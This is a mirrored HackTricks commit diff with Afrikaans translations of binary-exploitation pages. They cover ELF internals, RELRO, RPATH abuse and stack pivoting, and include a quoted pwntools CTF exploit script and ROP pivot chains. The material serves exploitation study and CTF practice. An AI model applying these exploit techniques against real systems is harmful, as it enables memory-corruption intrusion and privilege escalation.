maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/binary-exploitation/basic-stack-binary-exploitation-met

Browse Source
This commit is contained in:
Translator 2025-08-19 09:26:32 +00:00
parent aeb16c8f7d
commit 27efa2adae
16 changed files with 500 additions and 469 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -881,7 +881,6 @@
- [Interesting Http](todo/interesting-http.md)
- [Rust Basics](todo/rust-basics.md)
- [More Tools](todo/more-tools.md)
- [MISC](todo/misc.md)
- [Hardware Hacking](todo/hardware-hacking/README.md)
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
- [I2C](todo/hardware-hacking/i2c.md)

147
src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
View File

@ -47,12 +47,14 @@ Bevat die programkop tabel en metadata self.
Dui die pad van die laaier aan wat gebruik moet word om die binêre in geheue te laai.
> Wenk: Staties gekoppelde of statiese-PIE binêre sal nie 'n `INTERP` inskrywing hê nie. In daardie gevalle is daar geen dinamiese laaier betrokke nie, wat tegnieke wat daarop staatmaak deaktiveer (bv. `ret2dlresolve`).
### LOAD
Hierdie koppe word gebruik om aan te dui **hoe om 'n binêre in geheue te laai.**\
Elke **LOAD** kop dui 'n gebied van **geheue** (grootte, toestemmings en uitlijning) aan en dui die bytes van die ELF **binêre wat daar gekopieer moet word**.
Elke **LOAD** kop dui 'n streek van **geheue** (grootte, toestemmings en uitlijning) aan en dui die bytes van die ELF **binêre aan wat daar gekopieer moet word**.
Byvoorbeeld, die tweede het 'n grootte van 0x1190, moet geleë wees by 0x1fc48 met toestemmings lees en skryf en sal gevul word met 0x528 vanaf die offset 0xfc48 (dit vul nie al die gereserveerde ruimte nie). Hierdie geheue sal die afdelings `.init_array .fini_array .dynamic .got .data .bss` bevat.
Byvoorbeeld, die tweede een het 'n grootte van 0x1190, moet geleë wees by 0x1fc48 met toestemmings lees en skryf en sal met 0x528 van die offset 0xfc48 gevul word (dit vul nie al die gereserveerde ruimte nie). Hierdie geheue sal die afdelings `.init_array .fini_array .dynamic .got .data .bss` bevat.
### DYNAMIC
@ -62,21 +64,35 @@ Hierdie kop help om programme aan hul biblioteekafhanklikhede te koppel en herlo
Dit stoor verskaffer metadata-inligting oor die binêre.
- Op x86-64, `readelf -n` sal `GNU_PROPERTY_X86_FEATURE_1_*` vlae binne `.note.gnu.property` wys. As jy `IBT` en/of `SHSTK` sien, is die binêre gebou met CET (Indirect Branch Tracking en/of Shadow Stack). Dit beïnvloed ROP/JOP omdat indirekte takdoelwitte met 'n `ENDBR64` instruksie moet begin en terugkeer teen 'n skadu-stapel nagegaan word. Sien die CET-bladsy vir besonderhede en omseilnotas.
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
### GNU_EH_FRAME
Definieer die ligging van die stapel ontrafel tafels, wat deur debuggers en C++ uitsondering hantering-runtime funksies gebruik word.
Definieer die ligging van die stap-ontspanningstabelle, wat deur debuggers en C++ uitsondering hantering-runtime funksies gebruik word.
### GNU_STACK
Bevat die konfigurasie van die stapel uitvoeringsvoorkoming verdediging. As geaktiveer, sal die binêre nie in staat wees om kode vanaf die stapel uit te voer nie.
Bevat die konfigurasie van die stap-uitvoering voorkoming verdediging. As geaktiveer, sal die binêre nie in staat wees om kode van die stap uit te voer nie.
- Kyk met `readelf -l ./bin | grep GNU_STACK`. Om dit gedwonge te skakel tydens toetse kan jy `execstack -s|-c ./bin` gebruik.
### GNU_RELRO
Dui die RELRO (Relocation Read-Only) konfigurasie van die binêre aan. Hierdie beskerming sal sekere afdelings van die geheue as lees-slegs merk (soos die `GOT` of die `init` en `fini` tafels) nadat die program gelaai is en voordat dit begin loop.
Dui die RELRO (Relocation Read-Only) konfigurasie van die binêre aan. Hierdie beskerming sal sekere afdelings van die geheue (soos die `GOT` of die `init` en `fini` tabelle) as lees-alleen merk nadat die program gelaai is en voordat dit begin loop.
In die vorige voorbeeld kopieer dit 0x3b8 bytes na 0x1fc48 as lees-slegs wat die afdelings `.init_array .fini_array .dynamic .got .data .bss` beïnvloed.
In die vorige voorbeeld kopieer dit 0x3b8 bytes na 0x1fc48 as lees-alleen wat die afdelings `.init_array .fini_array .dynamic .got .data .bss` beïnvloed.
Let daarop dat RELRO gedeeltelik of volledig kan wees, die gedeeltelike weergawe beskerm nie die afdeling **`.plt.got`** nie, wat gebruik word vir **lazy binding** en hierdie geheue ruimte nodig het om **skryftoestemmings** te hê om die adres van die biblioteke die eerste keer te skryf wanneer hul ligging gesoek word.
Let daarop dat RELRO gedeeltelik of volledig kan wees, die gedeeltelike weergawe beskerm nie die afdeling **`.plt.got`** nie, wat gebruik word vir **luie binding** en hierdie geheue ruimte nodig het om **skryftoestemmings** te hê om die adres van die biblioteke die eerste keer te skryf wanneer hul ligging gesoek word.
> Vir uitbuitings tegnieke en op-datum omseilnotas, kyk na die toegewyde bladsy:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
### TLS
@ -149,22 +165,22 @@ Dit dui ook die ligging, offset, toestemmings aan, maar ook die **tipe data** wa
### Meta Afdelings
- **String tabel**: Dit bevat al die strings wat deur die ELF-lêer benodig word (maar nie diegene wat werklik deur die program gebruik word nie). Byvoorbeeld, dit bevat afdelingsname soos `.text` of `.data`. En as `.text` op offset 45 in die string tabel is, sal dit die nommer **45** in die **naam** veld gebruik.
- **String tabel**: Dit bevat al die strings wat deur die ELF-lêer benodig word (maar nie diegene wat werklik deur die program gebruik word nie). Byvoorbeeld, dit bevat afdelingsname soos `.text` of `.data`. En as `.text` by offset 45 in die string tabel is, sal dit die nommer **45** in die **naam** veld gebruik.
- Om te vind waar die string tabel is, bevat die ELF 'n wysiger na die string tabel.
- **Simbol tabel**: Dit bevat inligting oor die simbolen soos die naam (offset in die string tabel), adres, grootte en meer metadata oor die simbol.
- **Simbol tabel**: Dit bevat inligting oor die simbols soos die naam (offset in die string tabel), adres, grootte en meer metadata oor die simbol.
### Hoof Afdelings
- **`.text`**: Die instruksie van die program om uit te voer.
- **`.data`**: Globale veranderlikes met 'n gedefinieerde waarde in die program.
- **`.bss`**: Globale veranderlikes wat nie geinitialiseer is nie (of geinitieer na nul). Veranderlikes hier word outomaties na nul geinitialiseer, wat voorkom dat nuttelose nulles by die binêre gevoeg word.
- **`.bss`**: Globale veranderlikes wat nie geïnitialiseer is nie (of geïnitialiseer na nul). Veranderlikes hier word outomaties na nul geïnitialiseer, wat voorkom dat nuttelose nulles by die binêre gevoeg word.
- **`.rodata`**: Konstant globale veranderlikes (lees-slegs afdeling).
- **`.tdata`** en **`.tbss`**: Soos die .data en .bss wanneer thread-lokale veranderlikes gebruik word (`__thread_local` in C++ of `__thread` in C).
- **`.dynamic`**: Sien hieronder.
## Simbole
## Simbols
Simbole is 'n benoemde ligging in die program wat 'n funksie, 'n globale data objek, thread-lokale veranderlikes kan wees...
Simbols is 'n benoemde ligging in die program wat 'n funksie, 'n globale data objek, thread-lokale veranderlikes kan wees...
```
readelf -s lnstat
@ -185,16 +201,20 @@ Num: Value Size Type Bind Vis Ndx Name
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Elke simbool inskrywing bevat:
Elke simbool invoer bevat:
- **Naam**
- **Bindattribuut** (swak, plaaslik of globaal): 'n Plaaslike simbool kan slegs deur die program self toeganklik wees terwyl die globale simbool buite die program gedeel word. 'n Swak objek is byvoorbeeld 'n funksie wat deur 'n ander een oorgeskryf kan word.
- **Tipe**: NOTYPE (geen tipe gespesifiseer), OBJECT (globale data var), FUNC (funksie), SECTION (seksie), FILE (bronkode-lêer vir debuggers), TLS (draad-lokale veranderlike), GNU_IFUNC (indirekte funksie vir herlokasie)
- **Seksie** indeks waar dit geleë is
- **Bind-attribuut** (swak, plaaslik of globaal): 'n plaaslike simbool kan slegs deur die program self toeganklik wees terwyl die globale simbool buite die program gedeel word. 'n Swak objek is byvoorbeeld 'n funksie wat deur 'n ander oorgeskryf kan word.
- **Tipe**: NOTYPE (geen tipe gespesifiseer), OBJECT (globale data var), FUNC (funksie), SECTION (afdeling), FILE (bronkode lêer vir debuggers), TLS (draad-lokale veranderlike), GNU_IFUNC (indirekte funksie vir herlokasie)
- **Afdeling** indeks waar dit geleë is
- **Waarde** (adres in geheue)
- **Grootte**
## Dinamiese Seksie
#### GNU Simbool Weergawe (dynsym/dynstr/gnu.version)
Moderne glibc gebruik simbool weergawes. Jy sal invoere in `.gnu.version` en `.gnu.version_r` sien en simbool name soos `strlen@GLIBC_2.17`. Die dinamiese skakelaar kan 'n spesifieke weergawe vereis wanneer 'n simbool opgelos word. Wanneer jy handmatige herlokasies saamstel (bv. ret2dlresolve) moet jy die korrekte weergawe indeks verskaf, anders misluk die oplossing.
## Dinamiese Afdeling
```
readelf -d lnstat
@ -229,11 +249,28 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Die NEEDED-gids dui aan dat die program **nodig het om die genoemde biblioteek te laai** om voort te gaan. Die NEEDED-gids is voltooi sodra die gedeelde **biblioteek ten volle funksioneel en gereed** is vir gebruik.
Die NEEDED-gids dui aan dat die program **nodig het om die genoemde biblioteek te laai** om voort te gaan. Die NEEDED-gids voltooi wanneer die gedeelde **biblioteek ten volle funksioneel en gereed** is vir gebruik.
### Dinamiese laaier soekorde (RPATH/RUNPATH, $ORIGIN)
Die inskrywings `DT_RPATH` (verouderd) en/of `DT_RUNPATH` beïnvloed waar die dinamiese laaier soek vir afhanklikhede. Grof orde:
- `LD_LIBRARY_PATH` (geignoreer vir setuid/sgid of andersins "veilige-uitvoering" programme)
- `DT_RPATH` (slegs as `DT_RUNPATH` afwesig is)
- `DT_RUNPATH`
- `ld.so.cache`
- standaard gidse soos `/lib64`, `/usr/lib64`, ens.
`$ORIGIN` kan binne RPATH/RUNPATH gebruik word om na die gids van die hoof objek te verwys. Vanuit 'n aanvaller se perspektief is dit belangrik wanneer jy die lêerstelselopstelling of omgewing beheer. Vir geharde binêre (AT_SECURE) word die meeste omgewingsveranderlikes deur die laaier geïgnoreer.
- Ondersoek met: `readelf -d ./bin | egrep -i 'r(path|unpath)'`
- Vinnige toets: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (wys soekpadbesluite)
> Priv-esc wenk: Verkies om skryfbare RUNPATHs of verkeerd geconfigureerde `$ORIGIN`-relatiewe pades wat aan jou behoort, te misbruik. LD_PRELOAD/LD_AUDIT word in veilige-uitvoering (setuid) kontekste geïgnoreer.
## Herlokasies
Die laaier moet ook afhanklikhede herlokasie nadat dit gelaai is. Hierdie herlokasies word aangedui in die herlokasietabel in die formate REL of RELA en die aantal herlokasies word gegee in die dinamiese afdelings RELSZ of RELASZ.
Die laaier moet ook afhanklikhede herlokasie nadat dit hulle gelaai het. Hierdie herlokasies word in die herlokasietabel in formate REL of RELA aangedui en die aantal herlokasies word in die dinamiese afdelings RELSZ of RELASZ gegee.
```
readelf -r lnstat
@ -274,7 +311,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0
00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0
00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0
00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0
00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0
00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0
00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0
@ -314,14 +350,32 @@ Byvoorbeeld, enige afdeling van tipe `R_AARCH64_RELATIV` moet die adres by die h
### Dinamiese Herlokasies en GOT
Die herlokasie kan ook na 'n eksterne simbool verwys (soos 'n funksie van 'n afhanklikheid). Soos die funksie malloc van libC. Dan, wanneer die laaier libC in 'n adres laai, sal dit kyk waar die malloc-funksie gelaai is, en hierdie adres in die GOT (Global Offset Table) tabel (aangegee in die herlokasietabel) skryf waar die adres van malloc gespesifiseer moet word.
Die herlokasie kan ook 'n eksterne simbool verwys (soos 'n funksie van 'n afhanklikheid). Soos die funksie malloc van libC. Dan, wanneer die laaier libC in 'n adres laai, sal dit kyk waar die malloc-funksie gelaai is, en hierdie adres in die GOT (Global Offset Table) tabel skryf (aangegee in die herlokasietabel) waar die adres van malloc gespesifiseer moet word.
### Prosedure Koppelingstabel
### Prosedure Koppeling Tabel
Die PLT-afdeling maak dit moontlik om lui binding uit te voer, wat beteken dat die resolusie van die ligging van 'n funksie die eerste keer wat dit aangespreek word, uitgevoer sal word.
Die PLT-afdeling laat lui binding toe, wat beteken dat die resolusie van die ligging van 'n funksie die eerste keer wat dit toeganklik is, uitgevoer sal word.
So wanneer 'n program na malloc roep, roep dit eintlik die ooreenstemmende ligging van `malloc` in die PLT (`malloc@plt`). Die eerste keer wat dit geroep word, los dit die adres van `malloc` op en stoor dit sodat die volgende keer dat `malloc` geroep word, daardie adres gebruik word in plaas van die PLT-kode.
#### Moderne koppelgedrag wat uitbuiting beïnvloed
- `-z now` (Volledige RELRO) deaktiveer lui binding; PLT-invoere bestaan steeds, maar GOT/PLT is gemap read-only, so tegnieke soos **GOT oorskry** en **ret2dlresolve** sal nie teen die hoof binêre werk nie (biblioteke mag steeds gedeeltelik RELRO wees). Sien:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
- `-fno-plt` laat die kompilateur toe om eksterne funksies deur die **GOT-invoer direk** aan te roep in plaas van deur die PLT-stub. Jy sal oproepvolgordes soos `mov reg, [got]; call reg` in plaas van `call func@plt` sien. Dit verminder spekulatiewe-uitvoering misbruik en verander effens ROP-gadget jag rondom PLT-stubs.
- PIE vs statiese-PIE: PIE (ET_DYN met `INTERP`) benodig die dinamiese laaier en ondersteun die gewone PLT/GOT masjinerie. Statische-PIE (ET_DYN sonder `INTERP`) het herlokasies wat deur die kernlaaier toegepas word en geen `ld.so`; verwag geen PLT-resolusie tydens uitvoering nie.
> As GOT/PLT nie 'n opsie is nie, draai na ander skryfbare kode-wysers of gebruik klassieke ROP/SROP in libc.
{{#ref}}
../arbitrary-write-2-exec/aw2exec-got-plt.md
{{#endref}}
## Program Inisialiserings
Nadat die program gelaai is, is dit tyd vir dit om te loop. egter, die eerste kode wat uitgevoer word **is nie altyd die `main`** funksie nie. Dit is omdat byvoorbeeld in C++ as 'n **globale veranderlike 'n objek van 'n klas is**, moet hierdie objek **geïnitialiseer** word **voordat** main loop, soos in:
@ -345,27 +399,37 @@ printf("Main\n");
return 0;
}
```
Let daarop dat hierdie globale veranderlikes in `.data` of `.bss` geleë is, maar in die lyste `__CTOR_LIST__` en `__DTOR_LIST__` word die voorwerpe om te inisialiseer en te vernietig gestoor om hulle dop te hou.
Let wel dat hierdie globale veranderlikes in `.data` of `.bss` geleë is, maar in die lyste `__CTOR_LIST__` en `__DTOR_LIST__` word die voorwerpe wat geïnitialiseer en vernietig moet word, gestoor om hulle dop te hou.
Van C-kode is dit moontlik om dieselfde resultaat te verkry deur die GNU-uitbreidings:
Van C-kode af is dit moontlik om dieselfde resultaat te verkry deur die GNU-uitbreidings:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Vanuit 'n kompilator perspektief, om hierdie aksies voor en na die `main` funksie uitgevoer te kry, is dit moontlik om 'n `init` funksie en 'n `fini` funksie te skep wat in die dinamiese afdeling as **`INIT`** en **`FIN`** verwys word. en word in die `init` en `fini` afdelings van die ELF geplaas.
From a compiler perspective, om hierdie aksies voor en na die uitvoering van die `main` funksie uit te voer, is dit moontlik om 'n `init` funksie en 'n `fini` funksie te skep wat in die dinamiese afdeling as **`INIT`** en **`FIN`** verwys word. en word in die `init` en `fini` afdelings van die ELF geplaas.
Die ander opsie, soos genoem, is om die lyste **`__CTOR_LIST__`** en **`__DTOR_LIST__`** in die **`INIT_ARRAY`** en **`FINI_ARRAY`** inskrywings in die dinamiese afdeling te verwys en die lengte hiervan word aangedui deur **`INIT_ARRAYSZ`** en **`FINI_ARRAYSZ`**. Elke inskrywing is 'n funksie-aanwyser wat sonder argumente aangeroep sal word.
Boonop is dit ook moontlik om 'n **`PREINIT_ARRAY`** te hê met **aanwysers** wat **voor** die **`INIT_ARRAY`** aanwysers uitgevoer sal word.
#### Exploitasiemerk
- Onder Partial RELRO woon hierdie arrays in bladsye wat steeds skryfbaar is voordat `ld.so` `PT_GNU_RELRO` na lees-slegs verander. As jy 'n arbitrêre skrywe vroeg genoeg kry of jy kan 'n biblioteek se skryfbare arrays teiken, kan jy die beheerstroom oorneem deur 'n inskrywing met 'n funksie van jou keuse te oorskry. Onder Full RELRO is hulle lees-slegs tydens uitvoering.
- Vir lui binding misbruik van die dinamiese skakelaar om arbitrêre simbole tydens uitvoering op te los, sien die toegewyde bladsy:
{{#ref}}
../rop-return-oriented-programing/ret2dlresolve.md
{{#endref}}
### Inisialiseringsvolgorde
1. Die program word in geheue gelaai, statiese globale veranderlikes word in **`.data`** geïnitialiseer en nie-geïnitialiseerde word op nul gestel in **`.bss`**.
1. Die program word in geheue gelaai, statiese globale veranderlikes word in **`.data`** geïnitialiseer en nie-geïnitialiseerde word in **`.bss`** op nul gestel.
2. Alle **afhanklikhede** vir die program of biblioteke word **geïnitialiseer** en die **dinamiese skakeling** word uitgevoer.
3. **`PREINIT_ARRAY`** funksies word uitgevoer.
4. **`INIT_ARRAY`** funksies word uitgevoer.
5. As daar 'n **`INIT`** inskrywing is, word dit aangeroep.
6. As 'n biblioteek is, eindig dlopen hier, as 'n program, is dit tyd om die **werklike toegangspunt** (`main` funksie) aan te roep.
6. As dit 'n biblioteek is, eindig dlopen hier, as dit 'n program is, is dit tyd om die **werklike ingangs punt** (`main` funksie) aan te roep.
## Draad-Lokale Berging (TLS)
@ -379,4 +443,31 @@ Elke veranderlike sal 'n inskrywing in die TLS-kop hê wat die grootte en die TL
Die `__TLS_MODULE_BASE` is 'n simbool wat gebruik word om na die basisadres van die draad-lokale berging te verwys en wys na die area in geheue wat al die draad-lokale data van 'n module bevat.
## Hulp Vektor (auxv) en vDSO
Die Linux-kern stuur 'n hulpvektor na prosesse wat nuttige adresse en vlae vir die uitvoering bevat:
- `AT_RANDOM`: wys na 16 willekeurige bytes wat deur glibc vir die stapel kanarie en ander PRNG sade gebruik word.
- `AT_SYSINFO_EHDR`: basisadres van die vDSO kaart (handig om `__kernel_*` syscalls en gadgets te vind).
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, ens.
As 'n aanvaller, as jy geheue of lêers onder `/proc` kan lees, kan jy dikwels hierdie lek sonder 'n infolek in die teiken proses:
```bash
# Show the auxv of a running process
cat /proc/$(pidof target)/auxv | xxd
# From your own process (helper snippet)
#include <sys/auxv.h>
#include <stdio.h>
int main(){
printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM));
printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR));
}
```
Leaking `AT_RANDOM` gee jou die canary waarde as jy daardie pointer kan dereferensieer; `AT_SYSINFO_EHDR` gee jou 'n vDSO basis om vir gadgets te myn of om vinnige syscalls direk aan te roep.
## References
- ld.so(8) – Dinamiese Laaier soekorde, RPATH/RUNPATH, veilige-uitvoering reëls (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html
- getauxval(3) – Hulpvektor en AT_* konstantes: https://man7.org/linux/man-pages/man3/getauxval.3.html
{{#include ../../banners/hacktricks-training.md}}

34
src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View File

@ -12,7 +12,7 @@ mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
```
En aangesien die gespaarde **EBP/RBP in die stap** is voordat die gespaarde EIP/RIP, is dit moontlik om dit te beheer deur die stap te beheer.
En aangesien die gestoor **EBP/RBP in die stap** is voordat die gestoor EIP/RIP, is dit moontlik om dit te beheer deur die stap te beheer.
> Notas
> - Op 64-bis, vervang EBP→RBP en ESP→RSP. Semantiek is dieselfde.
@ -20,7 +20,7 @@ En aangesien die gespaarde **EBP/RBP in die stap** is voordat die gespaarde EIP/
### EBP2Ret
Hierdie tegniek is veral nuttig wanneer jy **die gespaarde EBP/RBP kan verander, maar geen direkte manier het om EIP/RIP te verander nie**. Dit benut die funksie epiloog gedrag.
Hierdie tegniek is veral nuttig wanneer jy **die gestoor EBP/RBP kan verander, maar geen direkte manier het om EIP/RIP te verander nie**. Dit benut die funksie epiloog gedrag.
As jy, tydens `fvuln` se uitvoering, daarin slaag om 'n **valse EBP** in die stap in te spuit wat na 'n area in geheue wys waar jou shellcode/ROP-ketting adres geleë is (plus 8 bytes op amd64 / 4 bytes op x86 om vir die `pop` rekening te hou), kan jy indirek RIP beheer. Soos die funksie terugkeer, stel `leave` RSP op die vervaardigde ligging en die daaropvolgende `pop rbp` verminder RSP, **wat dit effektief laat wys na 'n adres wat deur die aanvaller daar gestoor is**. Dan sal `ret` daardie adres gebruik.
@ -41,15 +41,15 @@ Onthou dat voor enige van hierdie adresse in die beheerde area, daar moet wees *
#### Off-By-One Exploit
Daar is 'n variasie wat gebruik word wanneer jy **slegs die minste betekenisvolle byte van die gespaarde EBP/RBP kan verander**. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met **`ret`** die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat 'n 1-byte oorskrywing dit kan herlei. Gewoonlik word die lae byte (offset 0x00) verhoog om so ver as moontlik binne 'n nabye bladsy/uitgelijnde streek te spring.
Daar is 'n variasie wat gebruik word wanneer jy **slegs die minste betekenisvolle byte van die gestoor EBP/RBP kan verander**. In so 'n geval moet die geheue ligging wat die adres stoor om na te spring met **`ret`** die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat 'n 1-byte oorskrywing dit kan herlei. Gewoonlik word die lae byte (offset 0x00) verhoog om so ver as moontlik binne 'n nabye bladsy/gebalanseerde streek te spring.
Dit is ook algemeen om 'n RET-sled in die stap te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe RSP binne die sled wys en die finale ROP-ketting uitgevoer word.
Dit is ook algemeen om 'n RET-slee in die stap te gebruik en die werklike ROP-ketting aan die einde te plaas om dit meer waarskynlik te maak dat die nuwe RSP binne die slee wys en die finale ROP-ketting uitgevoer word.
### EBP Ketting
Deur 'n beheerde adres in die gespaarde `EBP` slot van die stap te plaas en 'n `leave; ret` gadget in `EIP/RIP`, is dit moontlik om **`ESP/RSP` na 'n deur die aanvaller beheerde adres te beweeg**.
Deur 'n beheerde adres in die gestoor `EBP` slot van die stap te plaas en 'n `leave; ret` gadget in `EIP/RIP`, is dit moontlik om **`ESP/RSP` na 'n aanvaller-beheerde adres te beweeg**.
Nou is `RSP` beheerde en die volgende instruksie is `ret`. Plaas in die beheerde geheue iets soos:
Nou is `RSP` beheer en die volgende instruksie is `ret`. Plaas in die beheerde geheue iets soos:
- `&(next fake EBP)` -> Gelaai deur `pop ebp/rbp` van `leave`.
- `&system()` -> Geroep deur `ret`.
@ -60,7 +60,7 @@ Op hierdie manier is dit moontlik om verskeie valse EBPs te ketting om die vloei
Dit is soos 'n [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), maar meer kompleks en slegs nuttig in randgevalle.
Boonop het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek gebruik met 'n **staplek** om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:
Boonop het jy hier 'n [**voorbeeld van 'n uitdaging**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) wat hierdie tegniek gebruik met 'n **stap lek** om 'n wenfunksie aan te roep. Dit is die finale payload van die bladsy:
```python
from pwn import *
@ -100,9 +100,9 @@ print(p.recvline())
## EBP mag dalk nie gebruik word nie
Soos [**in hierdie pos verduidelik**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), as 'n binêre met sekere optimalisasies of met raam-aanwyser weglating gecompileer word, **beheer EBP/RBP nooit ESP/RSP nie**. Daarom sal enige ontploffing wat werk deur EBP/RBP te beheer, misluk omdat die proloog/epiloog nie van die raam-aanwyser herstel nie.
Soos [**in hierdie pos verduidelik**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), as 'n binêre met sekere optimalisasies of met raamwyser weglating gecompileer word, **beheer die EBP/RBP nooit ESP/RSP nie**. Daarom sal enige uitbuiting wat werk deur EBP/RBP te beheer, misluk omdat die proloog/epiloog nie van die raamwyser herstel nie.
- Nie geoptimaliseer / raam-aanwyser gebruik:
- Nie geoptimaliseer / raamwyser gebruik:
```bash
push %ebp # save ebp
mov %esp,%ebp # set new ebp
@ -182,7 +182,7 @@ xchg <reg>, rsp
```
### jmp esp
Kyk die ret2esp tegniek hier:
Kyk na die ret2esp tegniek hier:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
@ -210,9 +210,9 @@ ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
'n Robuuste pivot strategie wat in baie CTFs/exploits gebruik word:
1) Gebruik 'n klein aanvanklike oorgang om `read`/`recv` in 'n groot skryfbare gebied (bv., `.bss`, heap, of gemapte RW geheue) te bel en plaas 'n volle ROP-ketting daar.
1) Gebruik 'n klein aanvanklike oorgang om `read`/`recv` in 'n groot skryfbare gebied (bv., `.bss`, heap, of gemapte RW geheue) te roep en plaas 'n volle ROP-ketting daar.
2) Keer terug na 'n pivot gadget (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) om RSP na daardie gebied te beweeg.
3) Gaan voort met die gestage ketting (bv., lek libc, bel `mprotect`, dan `read` shellcode, dan spring daarna).
3) Gaan voort met die gestage ketting (bv., lek libc, roep `mprotect`, dan `read` shellcode, dan spring daarna).
## Moderne verskansings wat stap pivoting breek (CET/Shadow Stack)
@ -239,16 +239,16 @@ grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wr
(gdb) checksec
```
- Aantekeninge vir laboratoriums/CTF:
- Sommige moderne distros aktiveer SHSTK vir CET-geaktiveerde binêre wanneer hardeware en glibc ondersteuning teenwoordig is. Vir beheerde toetsing in VM's kan SHSTK stelselwyd gedeaktiveer word via die kern opstartparameter `nousershstk`, of selektief geaktiveer word via glibc tunables tydens opstart (sien verwysings). Moet nie versagtings op produksiedoelwitte deaktiveer nie.
- Sommige moderne distros aktiveer SHSTK vir CET-geaktiveerde binêre wanneer hardeware en glibc-ondersteuning teenwoordig is. Vir beheerde toetsing in VM's kan SHSTK stelselsgewys gedeaktiveer word via die kern opstartparameter `nousershstk`, of selektief geaktiveer word via glibc-tunables tydens opstart (sien verwysings). Moet nie versagtings op produksiedoelwitte deaktiveer nie.
- JOP/COOP of SROP-gebaseerde tegnieke mag steeds lewensvatbaar wees op sommige teikens, maar SHSTK breek spesifiek `ret`-gebaseerde pivots.
- Windows nota: Windows 10+ stel gebruikersmodus bloot en Windows 11 voeg kernmodus "Hardeware-afgedwonge Stapbeskerming" by wat op skadu stapels gebaseer is. CET-compatibele prosesse voorkom stap pivoting/ROP by `ret`; ontwikkelaars kies in via CETCOMPAT en verwante beleide (sien verwysing).
- Windows opmerking: Windows 10+ stel gebruikersmodus bloot en Windows 11 voeg kernmodus "Hardeware-afgedwonge Stapbeskerming" by wat op skadu stapels gebaseer is. CET-compatibele prosesse voorkom stap pivoting/ROP by `ret`; ontwikkelaars kies in via CETCOMPAT en verwante beleide (sien verwysing).
## ARM64
In ARM64, die **proloog en epiloge** van die funksies **stoor en herwin nie die SP register** in die stapel nie. Boonop, die **`RET`** instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar **na die adres binne `x30`**.
In ARM64, die **proloog en epiloge** van die funksies **stoor en herwin nie die SP-register** in die stapel nie. Boonop, die **`RET`** instruksie keer nie terug na die adres wat deur SP aangedui word nie, maar **na die adres binne `x30`**.
Daarom, standaard, net deur die epiloge te misbruik, **sal jy nie in staat wees om die SP register te beheer** deur sommige data binne die stapel te oorskry nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die **`x30`** register te **beheer**.
Daarom, standaard, net deur die epiloge te misbruik, **sal jy nie in staat wees om die SP-register te beheer** deur sommige data binne die stapel te oorskry nie. En selfs as jy daarin slaag om die SP te beheer, sal jy steeds 'n manier nodig hê om die **`x30`** register te **beheer**.
- proloog
@ -267,7 +267,7 @@ ret
```
> [!CAUTION]
> Die manier om iets soortgelyks aan stap pivoting in ARM64 uit te voer, sou wees om in staat te wees om die **`SP`** te **beheer** (deur 'n register te beheer waarvan die waarde aan `SP` oorgedra word of omdat om een of ander rede `SP` sy adres van die stapel neem en ons 'n oorskryding het) en dan die **epiloge te misbruik** om die **`x30`** register van 'n **beheerde `SP`** te laai en **`RET`** daarheen.
